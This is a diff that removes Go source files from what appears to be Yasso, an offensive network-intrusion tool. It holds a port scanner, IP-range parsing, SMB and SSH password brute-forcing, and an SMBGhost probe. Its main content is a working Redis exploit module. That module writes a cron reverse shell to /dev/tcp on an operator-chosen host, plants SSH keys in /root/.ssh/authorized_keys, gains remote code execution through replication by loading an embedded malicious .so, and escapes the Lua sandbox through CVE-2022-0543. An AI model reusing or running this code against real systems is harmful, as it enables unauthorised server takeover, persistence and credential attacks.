aport = append(aport, port) // 端口返回true开放加入aport列表
Println(fmt.Sprintf("[+] %v %v open", host, port))
}
}
wg.Done()
})
}
wg.Wait()
return aport
}
func portConn(addr string, port int) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", addr, port), TimeDuration)
defer func() {
if conn != nil {
_ = conn.Close()
}
}()
if err == nil {
return true
} else {
return false
}
}

View File

@@ -1,681 +0,0 @@
package cmd
// redis 6379 端口
import (
"Yasso/config"
"bufio"
"context"
_ "embed"
"errors"
"fmt"
"github.com/go-redis/redis/v8"
"github.com/spf13/cobra"
"io"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
//go:embed static/exp.so
var payload []byte
var RedisCmd = &cobra.Command{
Use: "redis",
Short: "Redis burst and Redis extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
BruteRedisByUser()
}
},
}
var (
RemoteHost string
RemotePublicKey string
LocalHost string
LocalPort int
RemoteSoPath string
IsRCE bool
RedisRCEMethod string
)
func init() {
RedisCmd.Flags().StringVar(&RemotePublicKey, "rekey", "", "Write public key to Redis (eg.) id_rsa.pub")
RedisCmd.Flags().StringVar(&RemoteHost, "rebound", "", "Rebound shell address (eg.) 192.168.1.1:4444")
RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address")
RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass")
RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command")
RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)")
RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)")
RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)")
RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)")
RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability")
}
func BruteRedisByUser() {
if BrutePort == 0 {
BrutePort = 6379
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("redis", UserDic, PassDic)
Println("[*] Brute Module [redis]")
Println("[*] Redis Authorized crack")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") {
var (
conn net.Conn
status bool
err error
)
if LoginPass != "" {
conn, status, err = RedisAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis Auth failed %v", err))
}
} else {
conn, status, err = RedisUnAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis UnAuth failed %v", err))
}
}
if SQLCommand != "" {
RedisExec(conn, SQLCommand)
return
}
if status == true {
RedisExploit(conn, RemoteHost, RemotePublicKey)
}
}
if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" {
client := InitRedisClient(ConnHost, BrutePort, LoginPass)
if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 {
// 主从复制
RedisRCE(client, LocalHost, LocalPort, RemoteSoPath)
} else if strings.ToLower(RedisRCEMethod) == "lua" {
//lua 沙盒逃逸
RedisLua(client)
} else {
Println("[*] you need choose a rce method")
return
}
_ = client.Close()
} else {
Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce")
}
}
// redis config
type RedisConfig struct {
OS string
PID string
ConfigPath string
Version string
DbFileName string
}
func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) {
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return conn, false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn, false, err
}
// 认证
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return conn, false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn, false, err
}
if strings.Contains(reply, "+OK") {
flag = true
conf := RedisInfo(conn, reply)
Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID))
}
return conn, flag, nil
}
func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) {
_, _ = user, pass
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return conn, false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn, false, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return conn, false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn, false, err
}
if strings.Contains(reply, "redis_version") {
flag = true
conf := RedisInfo(conn, reply)
Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName))
}
return conn, flag, nil
}
func RedisReply(conn net.Conn) (string, error) {
var (
r string
err error
)
buf := make([]byte, 5*1024)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
r += string(buf[0:count])
if count < 5*1024 {
break
}
}
return r, err
}
// redis get info
func RedisInfo(conn net.Conn, reply string) RedisConfig {
var (
dbfilename string
)
// 读取filename
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return RedisConfig{}
}
text, err := RedisReply(conn)
if err != nil {
return RedisConfig{}
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
var redisConfig = RedisConfig{
DbFileName: dbfilename,
}
return redisConfig
}
// 测试利用写入是否可用
func RedisWrite(conn net.Conn) (cron bool, ssh bool, err error) {
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false, false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply, "OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false, ssh, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply, "OK") {
cron = true
}
return cron, ssh, nil
}
// 计划任务写入
func RedisExploit(conn net.Conn, RemoteHost string, Filename string) {
// 测试写入
cron, ssh, err := RedisWrite(conn)
// 上述返回3个值返回c,s,e,c是corn的值s是ssh写入e是err
if err != nil {
Println(fmt.Sprintf("Redis Write Testing failed %v", err))
return
}
var (
status bool
)
if RemoteHost != "" && cron == true {
status, err = RedisCron(conn, RemoteHost)
if status == true {
Println("[+] Write Rebound shell address Success")
return
} else {
Println("[x] Redis Write Rebound shell address failed")
return
}
}
if Filename != "" && ssh == true {
status, err = RedisKey(conn, Filename)
if status == true {
Println("[+] Write ssh key Success")
return
} else {
Println("[x] Redis ssh key failed")
return
}
}
}
func RedisExec(conn net.Conn, cmd string) {
if cmd != "" {
_, err := conn.Write([]byte(fmt.Sprintf("%s\r\n", cmd)))
if err != nil {
Println(fmt.Sprintf("[!] %v", err))
return
}
reply, err := RedisReply(conn)
if err != nil {
Println(fmt.Sprintf("[!] %v", err))
return
}
Println(fmt.Sprintf("%v", string(reply)))
}
}
func RedisCron(conn net.Conn, RemoteHost string) (bool, error) {
c, s, _ := RedisWrite(conn)
Println(fmt.Sprintf("[+] Redis cron %v ssh %v", c, s))
// 先解析RemoteHost参数
var (
remote = strings.Split(RemoteHost, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host, port = remote[0], remote[1]
} else {
return false, errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
// 数据库设置成功
if strings.Contains(reply, "+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
Println("[+] save corn success")
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
Println("[+] Restore the original dbfilename")
}
}
}
return flag, nil
}
// 公钥写入
func RedisKey(conn net.Conn, filename string) (bool, error) {
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false, err
}
reply, err := RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false, err
}
reply, err := RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
key, err := ReadKeyFile(filename)
if err != nil {
return false, err
}
if len(key) == 0 {
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
Println("[+] Restore the original dbfilename")
}
}
}
return flag, nil
}
func ReadKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) {
// 设置so文件存放路径
var dest string
if SoPath == "" {
dest = "/tmp/net.so"
} else {
dest = SoPath
}
Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client)
fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort))
dbfilename, dir := getInformation(client)
filenameDir, filename := filepath.Split(dest)
Rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
Rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
// 做监听
ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort))
// 重置数据库
reStore(client, dir, dbfilename)
// 加载so文件
s := Rexec(fmt.Sprintf("module load %v", dest), client)
if s == "need unload" {
fmt.Println("[+] try to unload")
Rexec(fmt.Sprintf("module unload system"), client)
fmt.Println("[+] to the load")
Rexec(fmt.Sprintf("module load %v", dest), client)
}
fmt.Println("[+] module load success")
// 循环执行命令
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-rce]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
cmd = fmt.Sprintf("rm %v", dest)
run(fmt.Sprintf(cmd), client)
Rexec(fmt.Sprintf("module unload system"), client)
fmt.Println("[+] module unload system break redis-rce")
break
}
Receive(run(fmt.Sprintf(cmd), client))
}
os.Exit(0)
}
func RedisLua(client *redis.Client) {
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-lua]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
break
}
Receive(execLua(cmd, client))
}
os.Exit(0)
}
func Rexec(cmd string, client *redis.Client) string {
args := strings.Fields(cmd)
var argsInterface []interface{}
for _, arg := range args {
argsInterface = append(argsInterface, arg)
}
//Send(cmd)
val, err := client.Do(context.Background(), argsInterface...).Result()
return Check(val, err)
}
func getInformation(client *redis.Client) (string, string) {
r := Rexec("config get dbfilename", client)
if !strings.HasPrefix(r, "dbfilename") {
return "", ""
}
dbfilename := r[11 : len(r)-1]
d := Rexec("config get dir", client)
if !strings.HasPrefix(d, "dir") {
return "", ""
}
dir := d[4 : len(d)-1]
return dbfilename, dir
}
func Send(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("[->] %v", str))
}
func Receive(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("%v", str))
}
func Check(val interface{}, err error) string {
if err != nil {
if err == redis.Nil {
fmt.Println("[!] key is not exist")
return ""
}
fmt.Println(fmt.Sprintf("[!] %v", err.Error()))
if err.Error() == "ERR Error loading the extension. Please check the server logs." {
return "need unload"
}
os.Exit(0)
}
switch v := val.(type) {
case string:
return v
case []string:
return "list result:" + strings.Join(v, " ")
case []interface{}:
s := ""
for _, i := range v {
s += i.(string) + " "
}
return s
}
return ""
}
func ListenLocal(address string) {
var wg = &sync.WaitGroup{}
wg.Add(1)
addr, err := net.ResolveTCPAddr("tcp", address)
if err != nil {
fmt.Println("[!] resolve tcp address failed")
os.Exit(0)
}
listen, err := net.ListenTCP("tcp", addr)
if err != nil {
fmt.Println("[!] listen tcp address failed")
os.Exit(0)
}
defer listen.Close()
fmt.Println(fmt.Sprintf("[*] start listen in %v", address))
c, err := listen.AcceptTCP()
if err != nil {
fmt.Println("[!] accept tcp failed")
os.Exit(0)
}
go masterSlave(wg, c)
wg.Wait()
_ = c.Close()
}
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
defer wg.Done()
buf := make([]byte, 1024)
for {
time.Sleep(1 * time.Second)
n, err := c.Read(buf)
if err == io.EOF || n == 0 {
fmt.Println("[*] master-slave replication process is complete")
return
}
switch {
case strings.Contains(string(buf[:n]), "PING"):
c.Write([]byte("+PONG\r\n"))
//Send("+PONG")
case strings.Contains(string(buf[:n]), "REPLCONF"):
c.Write([]byte("+OK\r\n"))
//Send("+OK")
case strings.Contains(string(buf[:n]), "SYNC"):
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
rep := []byte(resp)
rep = append(rep, payload...)
rep = append(rep, []byte("\r\n")...)
c.Write(rep)
//Send(resp)
}
}
}
func reStore(client *redis.Client, dir, dbfilename string) {
success := Rexec("slaveof no one", client)
if strings.Contains(success, "OK") {
fmt.Println("[+] restore file success")
}
Rexec(fmt.Sprintf("config set dir %v", dir), client)
Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
}
func run(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "system.exec", cmd).Result()
return Check(val, err)
}
func execLua(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result()
return Check(val, err)
}
func InitRedisClient(host string, port int, pass string) *redis.Client {
rdb := redis.NewClient(&redis.Options{
Addr: fmt.Sprintf("%v:%v", host, port),
Password: pass, // no password set
DB: 0, // use default DB
})
return rdb
}

View File

@@ -1,167 +0,0 @@
package cmd
import (
"errors"
"net"
"os"
"regexp"
"strconv"
"strings"
)
func ResolveIPS(ip string) ([]string, error) {
if strings.Contains(ip, ".") && strings.Contains(ip, ".txt") {
// 此时传入的是文件txt
file, err := os.Open(ip)
if err != nil {
return []string{}, err
}
ips := Readiness(file)
return ips, err
}
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case strings.Contains(ip, "/"):
return resolveIP(ip)
case strings.Count(ip, "-") == 1:
return resolveIPC(ip)
case reg.MatchString(ip):
_, err := net.LookupHost(ip)
if err != nil {
return []string{}, err
}
return []string{ip}, nil
default:
var isip = net.ParseIP(ip)
if isip == nil {
return []string{}, errors.New("input format is not ccorrect")
}
return []string{ip}, nil
}
}
// 解析192.168.1.1/*的格式
func resolveIP(ip string) ([]string, error) {
var ip4 = net.ParseIP(strings.Split(ip, "/")[0]) // [192.168.1.1 *]
if ip4 == nil {
return []string{}, errors.New("not an ipv4 address")
}
var footmark = strings.Split(ip, "/")[1] // *
var temp []string
var err error
switch footmark {
case "24":
var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
for i := 0; i <= 255; i++ {
temp = append(temp, ip3+"."+strconv.Itoa(i))
}
err = nil
case "16":
var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
for i := 0; i <= 255; i++ {
for j := 0; j <= 255; j++ {
temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
}
}
err = nil
default:
temp = []string{}
err = errors.New("not currently supported")
}
return temp, err
}
// 解析192.168.1.1-*格式
func resolveIPC(ip string) ([]string, error) {
var ip4 = strings.Split(ip, "-")
var ipA = net.ParseIP(ip4[0])
if ip4 == nil {
return []string{}, errors.New("not an ipv4 address")
}
var temp []string
if len(ip4[1]) < 4 {
iprange, err := strconv.Atoi(ip4[1])
if ipA == nil || iprange > 255 || err != nil {
return []string{}, errors.New("input format is not ccorrect")
}
var splitip = strings.Split(ip4[0], ".")
ip1, err1 := strconv.Atoi(splitip[3])
ip2, err2 := strconv.Atoi(ip4[1])
prefixip := strings.Join(splitip[0:3], ".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{}, errors.New("input format is not ccorrect")
}
for i := ip1; i <= ip2; i++ {
temp = append(temp, prefixip+"."+strconv.Itoa(i))
}
} else {
var splitip1 = strings.Split(ip4[0], ".")
var splitip2 = strings.Split(ip4[1], ".")
if len(splitip1) != 4 || len(splitip2) != 4 {
return []string{}, errors.New("input format is not ccorrect")
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitip1[i])
ip2, err2 := strconv.Atoi(splitip2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{}, errors.New("input format is not ccorrect")
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
temp = append(temp, ip)
}
}
return temp, nil
}
func RemoveDuplicate(old []int) []int {
result := make([]int, 0, len(old))
temp := map[int]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// 解析为445,69,72-15这种以逗号隔开的端口
func ResolvePORTS(ports string) ([]int, error) {
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
scanPorts = RemoveDuplicate(scanPorts)
return scanPorts, nil
}

View File

@@ -1,43 +0,0 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"os"
"time"
)
var (
TimeDuration time.Duration // 超时时间
Hosts string // 全局host变量
RunICMP bool // 是否执行ICMP
Ports string // 需要解析的端口
Runtime int // 运行的线程
JsonBool bool // 是否使用日志
PingBool bool // 是否执行ping操作
UserDic string // 爆破的用户名路径
PassDic string // 爆破的密码路径
BruteFlag bool // 是否进行爆破
ConnHost string // 单独变量的链接地址
BrutePort int // 爆破使用的端口
LoginUser string // 登陆使用的用户
LoginPass string // 登陆使用的密码
LoginPublicKey string // 登陆使用的公钥路径
ProxyHost string // 代理地址 user:pass@ip:port 格式
SQLShellBool bool // 是否启动sql—shell
SQLCommand string // sql语句单条命令行
WinRMbool bool // winrm shell
NoCrack bool // 判断all模块是否爆破服务
)
var rootCmd = &cobra.Command{
Use: "Yasso",
Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n",
}
func Execute() {
if err := rootCmd.Execute(); err != nil {
Println(fmt.Sprintf("%v", err))
os.Exit(1)
}
}

View File

@@ -1,87 +0,0 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/stacktitan/smb/smb"
"time"
)
/*
模块完成时间2021年12月28日主要用于smb爆破扫描445端口,似乎不能走socks5代理
*/
var SmbCmd = &cobra.Command{
Use: "smb",
Short: "Smb burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteSmbByUser()
}
},
}
func BruteSmbByUser() {
if BrutePort == 0 {
BrutePort = 445
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("smb", UserDic, PassDic)
Println("[*] Brute Module [smb]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func SmbConn(info config.HostIn, user, pass string) (bool, error) {
signal := make(chan struct{})
var (
flag bool
err error
)
go func() {
flag, err = DialSmbTimeOut(info, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(1 * time.Second):
return false, errors.New("smb conn time out")
}
}
func DialSmbTimeOut(info config.HostIn, user, pass string, signal chan struct{}) (bool, error) {
var flag = false
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: info.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}

View File

@@ -1,118 +0,0 @@
package cmd
import (
"Yasso/config"
"bytes"
"fmt"
"time"
)
const (
pkt = "\x00" + // session
"\x00\x00\xc0" + // legth
"\xfeSMB@\x00" + // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
func SmbGhostConn(info config.HostIn) bool {
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return false
} else {
defer conn.Close()
conn.Write([]byte(pkt))
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, err := conn.Read(buff)
if err != nil {
//Println(err.Error()) // Profound analysis
}
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
Println(fmt.Sprintf("[+] %s Find CVE-2020-0796", info.Host))
return true
} else {
//Println(ip + " Not Vulnerable")
return false
}
}
}

View File

@@ -1,194 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
"io/ioutil"
"os"
"path"
)
/*
模块完成时间2021年12月28日主要用于ssh爆破连接扫描22端口
*/
var SshCmd = &cobra.Command{
Use: "ssh",
Short: "SSH burst and SSH extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
BruteSshByUser()
}
},
}
func init() {
SshCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)")
SshCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
SshCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
SshCmd.Flags().StringVar(&LoginPublicKey, "key", "", "ssh public key path")
}
func BruteSshByUser() {
if BrutePort == 0 {
BrutePort = 22
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("ssh", UserDic, PassDic)
//fmt.Println(users, pass)
Println("[*] Brute Module [ssh]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true {
if LoginUser != "" && LoginPass != "" {
client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[-] Login ssh failed %v", err))
return
}
if status == true {
//认证成功
SshLogin(client)
} else {
Println("[-] The username or password is incorrect")
return
}
}
if LoginPublicKey != "" && LoginUser != "" {
client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser)
if err != nil {
Println(fmt.Sprintf("[-] Login ssh failed %v", err))
return
}
if status == true {
//认证成功
SshLogin(client)
return
} else {
Println("[-] The username or password is incorrect")
return
}
}
}
